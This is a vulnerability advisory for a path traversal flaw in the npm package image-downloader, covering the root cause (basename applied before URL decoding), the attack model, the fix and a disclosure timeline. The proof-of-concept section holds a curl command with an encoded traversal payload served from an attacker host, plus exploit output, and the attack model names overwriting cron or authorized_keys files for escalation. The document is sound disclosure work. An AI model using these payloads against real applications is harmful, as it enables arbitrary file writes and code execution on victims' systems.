Summary

CVE-2026-103648 is a critical path traversal vulnerability (CWE-22) affecting all versions of image-downloader prior to 4.3.1, an npm package with roughly 11,000 weekly downloads. The bug lets a remote, unauthenticated attacker write arbitrary files outside the directory an application developer intended, with no user interaction required — a CVSS v3.1 base score of 9.1 (Critical).

The vulnerability was discovered, responsibly disclosed to the maintainer, and publicly documented by Amirhossein Roustaei (@EterNullSec) of Eternull Security. The maintainer shipped a fix in 4.3.1 the same week it was reported.

FieldDetails
CVE IDCVE-2026-103648
NVD Entrynvd.nist.gov/vuln/detail/CVE-2026-103648
CVSS v3.19.1 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWECWE-22 — Improper Limitation of a Pathname to a Restricted Directory
Affectedimage-downloader < 4.3.1 (all versions, including 4.3.0)
Fixed in4.3.1
ReporterAmirhossein Roustaei, Eternull Security

Root Cause

The bug lives in the filename-extraction logic of [email protected]. This is the actual, unmodified source from the published npm package:

// [email protected] — index.js
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
  if (!options.url)  return Promise.reject(new Error('The options.url is required'));
  if (!options.dest) return Promise.reject(new Error('The options.dest is required'));

  if (extractFilename) {
    if (!path.extname(options.dest)) {
      const url = new URL(options.url);
      const pathname = url.pathname;
      const basename = path.basename(pathname);            // ❌ basename BEFORE decode
      const decodedBasename = decodeURIComponent(basename); // decode happens AFTER

      options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
    }
  }
  return request(options);
};

The order of two operations is swapped, and that ordering is the entire vulnerability:

  1. path.basename() runs on the still percent-encoded URL path. A sequence like %2e%2e%2fpwned.sh contains no literal /, so basename() treats the whole string as one filename and passes it through untouched.
  2. The result is then decoded with decodeURIComponent(), which turns %2e%2e%2f back into a literal ../ — but only after the sanitizing step has already run.
  3. path.join(options.dest, decodedBasename) resolves that ../ the same way cd .. would, landing the final write path outside the intended destination directory.

Decode-then-basename is safe. Basename-then-decode is not. That single ordering mistake is what makes this exploitable.

Minimal trigger

URL pathname:  /%2e%2e%2fpwned.sh
basename():    "%2e%2e%2fpwned.sh"   (unchanged — no literal '/')
decode:        "../pwned.sh"        (traversal now literal)
path.join(dest, "../pwned.sh")  →  resolves one directory ABOVE dest

Attack Model

  • Victim: any application calling download.image({ url, dest }) with a url value it does not fully control — e.g. an avatar/image-import feature, a webhook payload, or a URL pulled from an RSS/content feed.
  • Attacker: controls (or can redirect to) the HTTP server the victim’s url points at, and controls the path component of that URL. That’s sufficient on its own, since the traversal payload lives in the URL path, not the response body.
  • Impact: the victim process writes an attacker-chosen file to an attacker-chosen path outside the intended directory. In containers or services running with broad filesystem access, this routinely escalates to code execution — e.g. overwriting a cron file, an authorized_keys entry, or a file the application later executes.

Proof of Concept

curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"
$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

[*] CVE-2026-103648 — image-downloader Path Traversal PoC
[*] Target      : http://localhost:3000
[*] Payload URL : http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
[+] Request received by exploit HTTP server
[+] SUCCESS! File written to: /tmp/pwned_by_eternullsec.txt

Full reproducible lab (Docker Compose, vulnerable app, and exploit script) is published at github.com/EterNullSec/CVE-2026-103648.

The Fix

Fixed in 4.3.1 (commit fb44543):

// [email protected] — index.js
const filenameFromPathname = (pathname) => {
  const decoded = decodeURIComponent(pathname);   // ✅ decode FIRST
  if (decoded.includes('\0')) {
    throw invalidFilename('the URL path contains a NUL byte');
  }
  return path.basename(decoded);                  // ✅ THEN basename
};

const isInside = (file, directory) => {
  const relative = path.relative(directory, file);
  return relative !== '' && relative !== '..' &&
    !relative.startsWith(`..${path.sep}`) && !path.isAbsolute(relative);
};

Three layers of defense: decode-before-basename fixes the root cause, NUL-byte rejection closes a related filename-truncation trick, and the path.relative() containment check rejects the write outright if it ever resolves outside dest — even if a future change reintroduces an ordering bug.

Disclosure Timeline

DateEvent
2026-10-01CVE reserved (GitLab, as CNA)
2026-10-02Patch released in [email protected]
2026-10-02CVE-2026-103648 published (MITRE/NVD)
2026-10-03Public PoC and writeup released

References


Discovered and disclosed by Amirhossein Roustaei, Eternull Security. Reported to the maintainer prior to public disclosure.